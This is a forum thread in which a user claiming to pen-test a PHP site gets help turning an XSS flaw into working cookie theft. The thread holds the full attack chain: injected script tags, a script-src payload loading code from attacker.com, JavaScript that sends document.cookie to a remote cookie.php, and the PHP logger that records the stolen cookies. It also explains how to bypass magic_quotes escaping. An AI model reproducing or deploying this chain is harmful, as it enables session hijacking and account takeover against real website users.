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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> XSS Filter Perhaps?
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XSS Filter Perhaps?
PostPosted: Sat Oct 18, 2008 9:35 pm Reply with quote
shadow81
Regular user
Regular user
 
Joined: Aug 28, 2008
Posts: 10




I have been carrying out pen-test work for a local website, and acunetix revealed xss flaws with the scripting.

Website is written in php/mysql.

I can run the code

Code:

<script>alert(document.cookie)</script>


correctly, cookie info pops up in an alert.

however, when I run a more malicious code:
Code:

<script%20%0a%0d>document.location%3D%0D%0A'http://www.remote-server-address.com/cookie.php?cookie%3D%0D%0A'+document.cookie</script>


It will not write cookies. Viewing the webpage's source code after js injection reveals that it converts the above code into:

Code:

<script>document.location=\'http://www.remote-server-address.com/cookie.php?cookie=\' document.cookie</script>


So it breaks the code up with "\" and removes the "+". Question Question Question

Is there a way to prevent this happening and successfully carry out cookie theft?

Also, does this script need to be in the HEAD of the document? As the vulnerabilities insert it into the BODY of the page.

Any help would be greatly appreciated.
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PostPosted: Sat Oct 18, 2008 10:02 pm Reply with quote
shadow81
Regular user
Regular user
 
Joined: Aug 28, 2008
Posts: 10




Just for the record, the cookie.php code:

Code:

<?php
$handle=fopen("cookie.txt","a");
fputs($handle,"\n".$_GET["cookie"]."\n");
fclose($handle);
?>


it is in a folder which is CHMOD 777
cookie.txt is 777
cookie.php is 755
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PostPosted: Sun Oct 19, 2008 12:03 am Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This is php's "magic_quotes" in action Smile

Best way to exploit XSS is via use of "src":

Code:

<script src=http://www.attacker.com/js.txt></script>


No need for single- or double quotes and it's easy to use bigger javascript payloads Wink
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PostPosted: Sun Oct 19, 2008 1:22 am Reply with quote
shadow81
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Regular user
 
Joined: Aug 28, 2008
Posts: 10




Code:
document.location=http://www.remote-host.com/cookie.php?cookie=+document.cookie';


So save that as cookie.js and that should work or do I not even need the ; at the end?
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PostPosted: Sun Oct 19, 2008 1:46 am Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Yes, you need to prepare text file like this:

Code:

document.location='http://www.remote-host.com/cookie.php?cookie='+document.cookie;


Upload this text file to the server under your control.
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PostPosted: Sun Oct 19, 2008 2:05 am Reply with quote
shadow81
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Joined: Aug 28, 2008
Posts: 10




Thank you for your help waraxe, it works great. I appreciate it. Very Happy

Now I have the fun task of preparing the report Sad lol
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XSS Filter Perhaps?
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